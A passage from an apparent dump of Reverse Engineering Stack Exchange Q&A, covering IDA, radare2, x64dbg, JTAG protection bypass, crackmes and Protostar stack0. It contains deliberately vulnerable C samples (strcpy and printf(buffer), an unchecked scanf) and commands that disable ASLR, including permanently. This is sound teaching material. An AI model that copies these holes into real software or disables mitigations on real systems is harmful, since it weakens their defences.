
      \n\n

      IDA pro didn't detect any of those and didn't add anything to xrefs or other reference lists.

      • \n
    \n\n

    Now my question is how can I modify string reference and function call detection process of IDA so they can be detected ?

    \n\n

    Regards.

    \n", "Title": "How to modify strings and funtions reference detection in IDA pro?", "Tags": "|ida|idapython|", "Answer": "

    I might be wrong, but it sounds to me like you loaded the binary file at the wrong imagebase. It sounds like you loaded it at the default base address of 0x0, whereas the base address really ought to be 0x2000000. Load the file into IDA again from scratch and try putting 0x2000000 in the \"Loading offset\" box on the initial \"Load a new file\" dialog box.

    \n\n

    As for why I think that: based on your examples, e.g. the second one:

    \n\n
    jsr     $200CA4C\n
    \n\n

    You're claiming the real address is 0x0CA4C, a difference of 0x2000000 from what's displayed. Your first example also differs by 0x2000000. So I'm guessing those instructions have hard-coded addresses in them, with all of them just above 0x2000000. That tells me the binary probably expects to be loaded at that address, which is why I'm advising you to try loading it at that address and see what happens.

    \n" }, { "Id": "17737", "CreationDate": "2018-03-19T19:41:35.487", "Body": "

    Radare2 has S* commands, that can show, delete, modify sections. Is it possible to create new section in executable file and save it?

    \n", "Title": "Radare2 create section", "Tags": "|disassembly|elf|radare2|section|", "Answer": "

    Creating section does work but saving them has a long outstanding bug report. I think, not sure, I saw now the bug report has been marked fixed and closed in some version.

    \n\n

    But just tried out wci command and I didn't see the Newsection written out to file in disk so maybe you should pursue the issue in Radare's reports section.

    \n\n
    :\\>radare2 -w jmpesp.exe\n -- The door is everything ...\n\n[0x00401000]> e io.cache = true\n[0x00401000]> e io.cache.write =true\n[0x00401000]> e io.cache.read  = true\n\n[0x00401000]> S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n\n[0x00401000]> S 0x600 0x403000 0x200 0x1000 .what rwx\n\n[0x00401000]> S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n[-1:02] . pa=0x00000600 -rwx va=0x00403000 sz=0x0200 vsz=0x1000 .what\n\n[0x00401000]> om\n 6 fd: 3 +0x00000600 0x00403000 - 0x004031ff -rwx fmap..what\n 5 fd: 6 +0x00000000 0x00403200 - 0x00403fff -rwx mem..what\n 4 fd: 3 +0x00000200 0x00401000 - 0x004011ff -rwx fmap..text\n 3 fd: 5 +0x00000000 0x00401200 - 0x00401fff mrwx mmap..text\n 2 fd: 3 +0x00000400 0x00402000 - 0x004021ff -rw- fmap..rdata\n 1 fd: 4 +0x00000000 0x00402200 - 0x00402fff mrw- mmap..rdata\n\n[0x00401000]> wci\n\n[0x00401000]> S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n[-1:02] . pa=0x00000600 -rwx va=0x00403000 sz=0x0200 vsz=0x1000 .what\n[0x00401000]> \n
    \n\n

    and quitting and reopening doesn't show the new Section

    \n\n
    [0x00401000]> q\n\n:\\>radare2 -w jmpesp.exe\n -- *(ut64*)buffer ought to be illegal\n[0x00401000]> S\n[00:00] * pa=0x00000200 mr-x va=0x00401000 sz=0x0200 vsz=0x1000 .text\n[00:01] . pa=0x00000400 mr-- va=0x00402000 sz=0x0200 vsz=0x1000 .rdata\n[0x00401000]>\n
    \n" }, { "Id": "17747", "CreationDate": "2018-03-20T19:31:12.813", "Body": "

    Please first read this My previous question, and then continue the following:\n

    ****

    \nThe binary file size loaded into IDA is 0x1e400 = 123k, and when I try to only change the \"Loading address\" to 0x2000000, IDA throws this error:
    \"The loading address should belong to RAM or ROM\"\n

    \nIf I check the \"Create RAM Section\" and set the RAM size to 0x2000000, and set the \"ROM start address\" to 0x2000000, IDA detects most of the string references and function calls correctly but new problems arises:

    \n\n
      \n
    • IDA saves the work in a 2GB file which makes saving/loading slow.
      • \n

    • Some references won't be detected correctly (when address fields does not have the 0x2000000).

      • \n

    • (More important problem) IDA doesn't detect some instructions where before IDA was able to detect them correctly) and the bad thing is that IDA gives error when I try to convert them to instruction using MakeCode command.

      • \n
    \n\n

    How can I manually add those undetected instructions into instructions.

    \n", "Title": "How to force IDA pro to list some bytes as a specified instruction?", "Tags": "|ida|idapython|idapro-sdk|", "Answer": "

    I was the one who advised you to change the loading offset. It sounds like weird stuff is happening as a result of the way you loaded the binary into IDA. I've had similar weird issues before when dealing with segments and loading addresses. Hopefully getting the segmentation working properly will resolve the issues with references/ability to define code.

    \n\n

    There are a couple of similar, yet different methods you can use, most of them on the Edit->Segments submenu. The first thing I'd try would be loading the program at base address 0x0 like you did originally, then trying Edit->Segments->Rebase Program. If that didn't work, I'd try Edit->Segments->Move Current Segment, or Edit->Segments->Edit Segment.

    \n" }, { "Id": "17753", "CreationDate": "2018-03-21T01:37:55.293", "Body": "

    When protecting a device from being accessed via JTAG there are a number of ways to do it.

    \n\n

    The two that come immediately to mind are:

    \n\n
      \n
    1. a 'fuse' that is blown;
      2. \n
    2. a JTAG 'password'.
      3. \n
    \n\n

    What are some methods or equipment that are used to bypass these protections?

    \n", "Title": "JTAG protection bypass", "Tags": "|hardware|jtag|", "Answer": "

    The question is kinda vague but here's some approaches that might work:

    \n\n
      \n

    1. Glitching (e.g. voltage dropping, clock slowdown, too short reset pulse). This could cause either a change in the sensed value of the fuse, or change in the code flow in case the check is implemented in software. For an example of this technique see Breaking Code Read Protection on the NXP LPC-family Microcontrollers by Chris Gerlinsky (recon BRX 2017).

      2. \n

    2. Timing/side-channel attacks in case the checks are not specifically hardened against it. A very nice presentation using this technique was shown at Recon BRX 2018(Hacking Toshiba Laptops by Micha\u0142 Kowalczyk and Serge Bazanski)

      3. \n

    3. Hardware attack (decapping the chip and changing the fuse value by direct micoprobing on the chip subtsrate, or just hooking into the core JTAG signals). This is rather complicated and needs a big investment of time and money but some code readout protections have been broken this way.

      4. \n
    \n" }, { "Id": "17755", "CreationDate": "2018-03-21T03:21:49.103", "Body": "

    I'm following a tutorial to get a better understanding of how things are passed around through stack frames, but they're working on a x86 system and I'm on x64.

    \n\n

    when they've reached the step

    \n\n
       sub    esp, 0x10\n=> mov    eax, DWORD PTR [ebp+0xC]\n   add    eax, 0x4\n
    \n\n

    They're able to see the address the pointer is pointing to. Checking the value, they get the address

    \n\n
    0xbffff6d6\n
    \n\n

    Then running x/s on that address returns the string value, which in this case should be the location of the program '/root/Desktop/00byte'

    \n\n

    Where things are different for me is on x64 my instructions say

    \n\n
       sub    rsp, 0x10\n   mov    DWORD PTR [rbp-0x4], edi\n   mov    QWORD PTR [rbp-0x10], rsi\n=> mov    rax, QWORD PTR [rbp-0x10]\n   add    rax, 0x8\n
    \n\n

    We've both assembled the same code and set our breakpoints on the same line, but on different platforms and I wanted to know how I'd be able to get the address from this point. I had assumed running

    \n\n
    x/x $rax\n
    \n\n

    would return the address of the pointer but instead it returns

    \n\n
    0x55\n
    \n\n

    Am I wrong to think the address of the pointer is stored in rax at this point? And if so, how would I get the address from this point.

    \n\n

    I can provide more information if needed. We're both using gcc to compile and gdb to debug and using the same arguments when building the program.

    \n\n

    I also tried checking the value in $rbp-16 but that only returns:

    \n\n
    0xa8\n
    \n\n

    So I'm not sure where the address is stored at this point in a way that I could examine based on the instructions I have.

    \n\n

    *here's the code, we both put our breakpoints after the line where main() is declared:

    \n\n
    #include <stdio.h>\n#include <string.h>\nvoid echo(char *message)\n{\nchar buffer[100];\nstrcpy(buffer,message);\nprintf(buffer);\n}\nint main(int argc, char *argv[])\n{\necho(argv[1]);\n}\n
    \n\n

    an argument is passed to the program and I'm observing how that argument moves through the stack.

    \n", "Title": "How to View the Address Referenced by QWORD PTR", "Tags": "|assembly|", "Answer": "

    [ebp+0x0c] is an argument to the function
    \n[rbp-0x10] is a local to the function

    \n\n

    so first of all you are comparing different things

    \n\n

    i assume you are on the main() function because your echo function() takes only one argument so you cant refer a valid argument with [ebp+0xc] in that case

    \n\n

    if you are on main then [ebp+0x0c] is char **argv

    \n\n

    i am on windbg and i can get it like

    \n\n
    0:000> da  @@c++(*(char **)argv)\n004e8ac0  \"x86.exe\"\n
    \n\n

    you are on gdb it appears and you can use x/s *(char **)argv or may be (ebp+0xc) \nplay with it

    \n\n

    the diassembly of the function main would be similar to (disassemble main in gdb instead of uf .)

    \n\n
    0:000> uf .\n    9 00f91040 55              push    ebp\n    9 00f91041 8bec            mov     ebp,esp\n   10 00f91043 b804000000      mov     eax,4\n   10 00f91048 c1e000          shl     eax,0\n   10 00f9104b 8b4d0c          mov     ecx,dword ptr [ebp+0Ch] <<< (char **)argv\n   10 00f9104e 8b1401          mov     edx,dword ptr [ecx+eax] <<<<<<<\nargv[1] pointer arithmetic ecx = 4 same as your add eax,4\n   10 00f91051 52              push    edx\n   10 00f91052 e8a9ffffff      call    x86!echo (00f91000)\n   10 00f91057 83c404          add     esp,4\n   11 00f9105a 33c0            xor     eax,eax\n   11 00f9105c 5d              pop     ebp\n   11 00f9105d c3              ret\n
    \n\n

    the function echo needs the first argument passed to the binary

    \n\n
    0:000> ?? (char *)argv[0]\nchar * 0x00258b4c\n \"x86.exe\"\n0:000> ?? (char *)argv[1]\nchar * 0x00258b54\n \"this is the first argument passed saniboy\"\n
    \n\n

    which incidentally you can also print with x/s in gdb

    \n\n
    0:000> da /c 100 @edx\n00258b54  \"this is the first argument passed saniboy\"\n
    \n\n

    the same code compiled for x64 and disassembled main as follows

    \n\n
    0:000> uf x64!main\n\n    9 00000001`40001060 4889542410      mov     qword ptr [rsp+10h],rdx\n    9 00000001`40001065 894c2408        mov     dword ptr [rsp+8],ecx\n    9 00000001`40001069 4883ec28        sub     rsp,28h\n   10 00000001`4000106d b808000000      mov     eax,8\n   10 00000001`40001072 486bc001        imul    rax,rax,1\n   10 00000001`40001076 488b4c2438      mov     rcx,qword ptr [rsp+38h]\n   10 00000001`4000107b 488b0c01        mov     rcx,qword ptr [rcx+rax]\n   10 00000001`4000107f e87cffffff      call    x64!echo (00000001`40001000)\n   11 00000001`40001084 33c0            xor     eax,eax\n   11 00000001`40001086 4883c428        add     rsp,28h\n   11 00000001`4000108a c3              ret\n
    \n\n

    x64 passes first 4 arguments via registers and does not use stack for passing arguments

    \n\n

    you can find a similar document to this microsoft specific document on passing parameters

    \n\n

    so your first argument will be in rcx

    \n\n

    x/s $rcx

    \n\n

    you cannot go and compare line by line they wont match

    \n" }, { "Id": "17764", "CreationDate": "2018-03-21T15:19:04.787", "Body": "

    I know that a software is cracked by reverse engineering it and reading it's assembly code... My question is how and what do crackers look for in the assembly code? And how do they know what algorithm is being used to verify the serial code (since we cannot see the original source code)?

    \n", "Title": "How is a keygen made by reversing a software?", "Tags": "|ida|disassembly|", "Answer": "

    In addition to what Mick said, here is an excellent video tutorial on the topic, where the individual takes nearly 2 hours to thoroughly demonstrate how to reverse engineer the key validation algorithm in a particular CrackMe.

    \n\n

    While it's a \"simple\" example in a world filled with much more complex key/license algorithms, I think it's an incredible resource for beginners/intermediates to learn from.

    \n" }, { "Id": "17767", "CreationDate": "2018-03-21T19:22:51.263", "Body": "

    In OllyDbg 1.10 (assembler level deubugger) I can find all referenced text strings

    \n\n

    The program compare if a user input string is equal a internal string.

    \n\n

    When I debug the program, I can't find the internal string. I found only the string of the image

    \n\n

    The program is a Windows Console (DOS).

    \n\n

    This is the string the plugin found

    \n\n

    \"string

    \n\n

    This strings appear in the program, but I can't see the string when program say \"Congratulations....\", is 4 lines under the red mark in the image

    \n\n

    You can help?\nHow I can debug and see the text of comparision?

    \n\n

    \"The

    \n\n

    Is like...

    \n\n

    if user_input == X then\n print \"Congratulations....\"\nelse\n print \"Better luck next time...\"

    \n\n

    How find X string?

    \n\n

    Thanks

    \n\n

    [EDIT]

    \n\n

    After the answer, I recommend, in this case, to use x64dbg

    \n\n

    \"xdbg

    \n", "Title": "how to find the strings values in a comparision using ollydbg", "Tags": "|windows|ollydbg|debugging|strings|", "Answer": "

    It's hard to answer by looking at the low-res image but it looks like that the 'X' is not present in as as string in one place. Instead there are bunch of char comparisons spread across this binary.

    \n\n

    Like this one:

    \n\n
    CMP BYTE PTR SS:[ESP+25], 40\n
    \n\n

    Gather those together (there should be some above the part that you've pased) and sort by the index (ESP+xx). Converting the values after the comma (in this case 40) to ascii and printing them should give you the 'X'.

    \n\n

    For the image we have:

    \n\n
    \n

    hac__h___rad_$E

    \n
    \n" }, { "Id": "17780", "CreationDate": "2018-03-23T20:31:28.773", "Body": "

    What are the advantages of each method when employing de-obsfucation of potentially malicious code?

    \n\n

    I've been told to always use emulators like x86emu since it doesn't actually run the code when performing the de-obsfucation but I wonder if there are any reasons to use IDA scripts to perform this kind of task.

    \n", "Title": "De-obfuscation - Emulation-oriented vs Script-oriented", "Tags": "|ida|malware|ida-plugin|deobfuscation|", "Answer": "

    The approaches you mentioned:

    \n\n

    Scripting static analysis with IDA: \nGreat for removing automatically inserted bloat like PUSH EBX; add EBX, ECX; pop EBX, great for automatically finding and extracting relevant values. Sometimes a good way for decryption (if the malware just XORs stuff with 0x17 having your script do that is easier than running the decryption code in emulator).

    \n\n

    Using emulators (scripted or not)\nGreat for following hyper-obfuscated code that jumps into the middle of instructions and confuses static analysis. Has limited environment model, so it will fail once the malware uses exception handling or calls APIs.

    \n\n

    Using debugger (scripted or not): \nYes, you can do that if you are careful. Good for following the code, good for bypassing self-decryption, good for dumping. Security measures I recommend:

    \n\n
      \n
    • Know your malware beforehand (google it, run it in cuckoosandbox, run it in VM in sandboxie with procmon running), so you know what to expect. Might also save you a lot of time. If all your malware does is extract/download stage2.exe into %TEMP% and run it, there is probably no reason to bother with it anyway. Go straight to stage2.exe
      • \n
    • Always work within a VM that has network connections disabled.
      • \n
    • Make shapshot before you start debugging, just in case. If it never returns from your F8 keypress, and you are unsure, you can return to that snapshot (but you lose your changes to IDA db!).
      • \n
    • Have procmon running, so you know if your malware did anything interesting.
      • \n
    • If you are very paranoid, have your VM run on a different host OS. Just in case the malware carries a $200.000 VMWare/VirtualBox 0day :-)
      • \n
    \n" }, { "Id": "17790", "CreationDate": "2018-03-25T06:06:19.153", "Body": "

    IDA shows this following code in separate subroutine.

    \n\n

    Assembly:

    \n\n
    sub_180049410 proc near\njmp     rax\nsub_180049410 endp\n
    \n\n

    Pseudo-Code:

    \n\n
    __int64 __usercall sub_180049410@<rax>(__int64 (*a1)(void)@<rax>)\n{\n  return a1();\n}\n
    \n\n

    The previous subroutine calls it as (off_180052510 and sub_180049410 are same)

    \n\n
    mov     rcx, [rsp+0C8h+var_88]\nmov     rax, [rcx]\nmov     r8, rsi\nmov     edx, 5\nmov     rax, [rax+18h]\ncall    cs:off_180052510\nmov     rcx, [rsp+0C8h]\ntest    eax, eax\njs      loc_18000969B\n
    \n\n

    So, why IDA shows it in separate subroutine? Can I join that in it's previous function?

    \n", "Title": "Why IDA shows return statement in separate subroutine?", "Tags": "|ida|disassembly|", "Answer": "

    No. Ofc, you can modify assembly in IDA with API funcs by yourself, but there is no need in this. call instruction is not just jumping to code, it also modifies stack, pushing there return address, so called function can correctly return (read https://c9x.me/x86/html/file_module_x86_id_26.html ). Thats why this code is shown in another subroutine, and thats why just inlining jmp rax to code won't be correct in this case.

    \n\n

    Also, rax value will be known only in runtime, so IDA's static analysis can't provide information, which function exactly will be called here. So sub_180049410 its just function to call some other function via pointer to it.

    \n" }, { "Id": "17801", "CreationDate": "2018-03-25T19:27:20.973", "Body": "

    This table is part of the packet encryption of an old game for which I am developing a server.

    \n\n

    The crypto algorithm doesn't just xor the password with the message.\nIt uses a multiple of the ascii value of the letters in the password as an index for this table/array. With the retrieved value, it then does logical and operations which null out most, but not all values.

    \n\n

    The result of this is finally xor'ed with the corresponding letter in the message.

    \n\n

    I mean the general idea seems nice for a software that was developed 10+ years ago and was mainly a kids game, but I wonder why someone invents such an algorithm an then puts so many zeroes in there.

    \n\n

    Is it possible, that this table is in some way a part of a standard library function that was mistakenly used in this context?\nOr are these just a bunch of random values to mess with someone who is trying to reverse engineer the encryption?

    \n\n
    20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00\n20 00 28 00 28 00 28 00 28 00 28 00 20 00 20 00\n20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00\n20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00\n48 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00\n10 00 10 00 10 00 10 00 10 00 10 00 10 00 10 00\n84 00 84 00 84 00 84 00 84 00 84 00 84 00 84 00\n84 00 84 00 10 00 10 00 10 00 10 00 10 00 10 00\n10 00 81 00 81 00 81 00 81 00 81 00 81 00 01 00\n01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00\n01 00 01 00 01 00 01 00 01 00 01 00 01 00 01 00\n01 00 01 00 01 00 10 00 10 00 10 00 10 00 10 00\n10 00 82 00 82 00 82 00 82 00 82 00 82 00 02 00\n02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00\n02 00 02 00 02 00 02 00 02 00 02 00 02 00 02 00\n02 00 02 00 02 00 10 00 10 00 10 00 10 00 20 00\n
    \n", "Title": "Does someone recognize this \"lookup table\"? (used for xor encryption)", "Tags": "|encryption|xor|", "Answer": "

    The data appears to be a lookup table to support the functions in the C library header <ctype.h>

    \n\n

    Specifically, the bit-field values being used here represent, for each character -

    \n\n
    0x01 => Upper Case\n0x02 => Lower Case\n0x04 => Digit\n0x08 => Space\n0x10 => Punctuation\n0x20 => Control\n0x40 => Blank\n0x80 => Hex Digit\n
    \n\n

    These values match those that (at least) the Microsoft C runtime library uses. You can see these defined in the MSVC <ctype.h> header.

    \n\n

    Other CRT's might use the same, similar (e.g. libc), or different values (e.g. glibc).

    \n" }, { "Id": "17810", "CreationDate": "2018-03-26T12:06:55.670", "Body": "

    I am new to radare2. I am trying out radare2 with exercise from Protostar stack0
    \nI generate raw De Bruijn Patterns with below command

    \n\n
    $ ragg2 -P 500 -r\nAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsA\n
    \n\n

    Run the program in debug mode and execute it

    \n\n
    $ r2 -d -A stack0\nProcess with PID 31611 started...\n= attach 31611 31611\nbin.baddr 0x08048000\nUsing 0x8048000\nasm.bits 32\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Analyze function calls (aac)\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n= attach 31611 31611\n31611\n -- Buy a mac\n\n[0xf7f72a20]> dc\nAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsA\nYou have changed the modified variable\nchild stopped with signal 11\n[+] SIGNAL 11 errno=0 addr=0x4141583d code=1 ret=0\n\n[0x080484d0]> dr\neax = 0x00000000\nebx = 0x5a414159\necx = 0x41415841\nedx = 0xf7f48870\nesi = 0x00000001\nedi = 0xf7f47000\nesp = 0x4141583d\nebp = 0x41614141\neip = 0x080484d0\neflags = 0x00010282\noeax = 0xffffffff\n\n[0x080484d0]> wopO ebp\nNeed hex value with `0x' prefix e.g. 0x41414142\n[0x080484d0]> wopO esp\nNeed hex value with `0x' prefix e.g. 0x41414142\n[0x080484d0]> wopO eip\nNeed hex value with `0x' prefix e.g. 0x41414142\n
    \n\n

    Below is the C code which I am working on

    \n\n
      1 #include<stdio.h>\n  2 #include<stdlib.h>\n  3 #include<unistd.h>\n  4\n  5 int main(int argc, char **argv){\n  6\n  7     volatile int modified;\n  8     char buffer[64];\n  9\n 10     modified = 0;\n 11     scanf(\"%s\",buffer);\n 12\n 13     if(modified !=0){\n 14         printf(\"You have changed the modified variable\\n\");\n 15     }else{\n 16         printf(\"Try again\\n\");\n 17     }\n 18     return 0;\n 19 }\n
    \n\n

    Q1)Any reason why eip is not overwritten with the De Bruijn Pattern?

    \n\n

    Q2)Why do I get the message Need hex value with '0x' prefix e.g. 0x41414142

    \n\n

    Kindly let me know. \nThank you.

    \n", "Title": "radare2- Unable to use wopO command", "Tags": "|radare2|", "Answer": "

    Did you notice that you indeed changed the desired variable?

    \n\n
    \n

    You have changed the modified variable

    \n
    \n\n

    Anyway, regarding the 2nd question, this is an intended behavior after the following pull-request was merged to radare2.

    \n\n

    Now it is requires that you'll have 0x prefixed to the passed value, so you can do something like this:

    \n\n
    wopO `dr ebp`\n
    \n\n

    or something like that:

    \n\n
    wopO `?v ebp`\n
    \n\n

    The backticks are used to execute radare2 command so you basically use the result of the inner command and pass it to wopO

    \n\n
    \n\n

    Regarding the first question, after some amount of chars (i.e long input) you'll get a Segfault, that's mean that your input cause a corruption and you indeed made a \"damage\" to eip. If you want to override eip you should bypass the security mitigation -- ASLR:

    \n\n

    To disable it temporarily, execute:

    \n\n
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n
    \n\n

    And to enable it again, execute:

    \n\n
    echo 2 | sudo tee /proc/sys/kernel/randomize_va_space\n
    \n\n

    If you want to change the value permanently, say if it is an exploitation-dedicated machine, add the following setting to /etc/sysctl.conf, for example:

    \n\n
    echo \"kernel.randomize_va_space = 0\" >> /etc/sysctl.conf\n
    \n\n

    and run the sysctl -p command.

    \n" }, { "Id": "17815", "CreationDate": "2018-03-26T18:28:57.947", "Body": "

    Some of my breakpoints perfectly survive multiple restarts.

    \n\n

    But many interesting parts of the code I am debugging have different locations in memory after a restart. It seems the reason is, that the code is loaded into a different memory segment, after a restart. And it further looks like the parts I am looking for are at least absolutely positioned to the memory block they are in.

    \n\n

    CLARIFICATION:\nI suspect that the code which stays in place during restarts is a statically linked library and the code which switches places is the main program itself.\nDoes this make sense?

    \n\n

    Is there a way in x64dbg(or a similar debugger) to account for that and set memory breakpoints relatively to the block they are loaded into?

    \n\n

    And why do some Parts of the code always get loaded into the same block while others are randomly loaded into one memory segment?

    \n\n

    EDIT:\nIs there furtheremore a method to somehow label constant ponters that are relatively positioned to the memory segment? It would be really helpful to directly recognize which constant im looking on instead of recalculating by hand which one in comparison to the last start it it.

    \n\n

    EDIT3:

    \n\n

    Here a screenshot for clarification:\n\"enter

    \n\n

    You can see that the adresses stay the same on the lower two bytes, but differ on the higher 2 bytes according to the memory block they are loaded into.

    \n", "Title": "Is it possible to set breakpoints relatively to the memory block in x64dbg or a similar debugger?", "Tags": "|memory|dynamic-analysis|breakpoint|x64dbg|", "Answer": "

    windows > greater than vista implement a security feature called ASLR (Address Space Layout Randomisation )

    \n\n

    this feature randomly changes the Base Address of the binary each time it is restarted this prevents constant address dependent exploits obsolete

    \n\n

    for dlls the base address is changed per boot

    \n\n

    even though the address space is randomised there can be clashes and the binary might be loaded in the same base address several times

    \n\n

    suppose you have code like this

    \n\n
    #include <stdio.h>\n#include <windows.h>\nvoid main (void) {\n    char buff[MAX_PATH] = {0};\n    GetModuleFileName(NULL,buff,MAX_PATH);\n    printf(\"%p\\t%s\\n\" , GetModuleHandle(NULL) , buff);\n    HMODULE hntdll = GetModuleHandle(\"kernel32\");\n    GetModuleFileName(hntdll,buff,MAX_PATH);\n    printf(\"%p\\t%s\\n\" , hntdll , buff);\n}\n
    \n\n

    you can see the binary is loaded in the same address 3 times consecutively while changing its base the fourth time also you can see the dll is always loaded in same address on all 4 restarts (this address may change on rebooting )

    \n\n
    C:\\Users\\printbaseaddr>printbaseaddr.exe\n00C80000        C:\\Users\\printbaseaddr\\printbaseaddr.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n\nC:\\Users\\printbaseaddr>printbaseaddr.exe\n00C80000        C:\\Users\\printbaseaddr\\printbaseaddr.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n\nC:\\Users\\printbaseaddr>printbaseaddr.exe\n00C80000        C:\\Users\\printbaseaddr\\printbaseaddr.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n\nC:\\Users\\printbaseaddr>printbaseaddr.exe\n003D0000        C:\\Users\\printbaseaddr\\printbaseaddr.exe  <<<<<<<<<\n774E0000        C:\\Windows\\system32\\kernel32.dll\n
    \n\n

    you can see if your binary is ASLR enabled using any pe file explorer \none way is to use dumpbin /headers and look for Dynamic Base in Dll Characteristics

    \n\n
    C:\\Users\\printbaseaddr>dumpbin /headers printbaseaddr.exe | grep  Dyna\n                   Dynamic base\n
    \n\n

    you can patch this in the file to diasble aslr for an executable and you will notice the exe is always loaded in its prefferred base which for an exe is normally 0x400000

    \n\n
    :\\>fc printbaseaddr.exe printbaseaddrmod.exe\nComparing files printbaseaddr.exe and PRINTBASEADDRMOD.EXE\n00000156: 40 00\n\n:\\>xxd -s 0x154 -l 10 printbaseaddrmod.exe\n0000154: 0300 0081 0000 1000 0010                 ..........\n\n:\\>xxd -s 0x154 -l 10 printbaseaddr.exe\n0000154: 0300 4081 0000 1000 0010                 ..@.......\n\n:\\>echo off\nfor /L %i in (1,1,10) do printbaseaddrmod.exe\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n00400000        printbaseaddr\\printbaseaddrmod.exe\n774E0000        C:\\Windows\\system32\\kernel32.dll\n
    \n" }, { "Id": "17822", "CreationDate": "2018-03-27T12:57:23.927", "Body": "

    I am debugging a program but I no longer want to run step by step. Is there no \"resume program\" function that I can use to let the program I'm attached to, to run to completion of all its tasks without the debugger pausing every second (no breakpoints enabled). Maybe the access violations are why it's pausing but I want it to ignore them too as it's already excluded in my exceptions menu.

    \n", "Title": "Run program until completion without debugging step by step", "Tags": "|ollydbg|x64dbg|", "Answer": "

    In both, ollydbg and x64dbg you can just press the \"run\" button(or F9) to let the programm run normally. You may have to disable the breakpoints beforehand(This will not delete them). In x64dbg you do a right click in the breakpoints panel and select \"disable all\" in the context menu to achieve this.

    \n\n

    To \"ignore\" all exceptions in x64dbg: Click on options -> preferences -> exceptions -> add range. Then in the first input enter a \"0\" and in the second as many \"F\" as fit in.

    \n" }, { "Id": "17830", "CreationDate": "2018-03-28T17:35:15.593", "Body": "

    Basically I just would like to modify the following code: https://github.com/SideChannelMarvels/Tracer/tree/master/TracerPIN
    \n(based on Intel PIN) in order to be able to modify the content of some registers at a given PC.\nFor this I just inserted the following callback at line 418 of Tracer.cpp, when the PC is 0x808104f (as a simple test):

    \n\n
    if (ceip == 0x808104f) {  \n    string* dis = new string(INS_Disassemble(ins));  \n    INS_InsertPredicatedCall(ins, IPOINT_BEFORE, (AFUNPTR)changeReg,  \n        IARG_INST_PTR,  \n        IARG_CONTEXT,   \n        IARG_PTR, dis,   \n        IARG_UINT32, INS_Size(ins), IARG_END);  \n}\n
    \n\n

    and finally here is my function changeReg():

    \n\n
    VOID changeReg (ADDRINT ip, CONTEXT *ctxt, string *disass, INT32 size){  \n    UINT32 edx_new_value = 0x00000ccc;  \n    UINT32 edx_value;  \n    //set the registers  \n    PIN_SetContextReg(ctxt, REG_EDX, edx_new_value);  \n    edx_value = PIN_GetContextReg(ctxt, REG_EDX);  \n    printf(\"EDX = %08x \\n\", edx_value);  \n}\n
    \n\n

    and when I trace my program with my modified TracerPIN:

    \n\n
    root@VirtualBox:/media/shared/E/tracerPin/test/x86#Tracer -o test_modif_register.txt -- ./testapp\n[*] Trace file test_modif_register.txt opened for writing...\nEDX = 00000ccc\nroot@VirtualBox:/media/shared/E/tracerPin/test/x86#\n
    \n\n

